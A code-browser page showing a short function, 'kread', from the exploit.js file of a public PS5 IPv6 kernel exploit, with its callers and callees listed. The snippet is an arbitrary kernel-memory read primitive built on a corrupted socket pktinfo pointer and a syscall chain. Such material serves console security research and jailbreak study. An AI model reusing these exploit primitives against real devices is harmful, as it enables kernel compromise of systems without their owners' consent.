MCPcopy Create free account
hub / github.com/Cryptogenic/PS5-IPV6-Kernel-Exploit / kread

Function kread

document/en/ps5/exploit.js:810–814  ·  view source on GitHub ↗
(addr)

Source from the content-addressed store, hash-verified

808 }
809
810 let kread = async function(addr) {
811 await write_to_victim(addr);
812 await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store);
813 await chain.run();
814 }
815
816 tagged_tclass = 0;
817 await fake_pktopts(overlap_sock, pktopts_addr.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), TAG_TCLASS_MASTER_2); // will implicitly run chain

Callers 1

userlandFunction · 0.85

Calls 3

write_to_victimFunction · 0.85
add_syscallMethod · 0.80
runMethod · 0.80

Tested by

no test coverage detected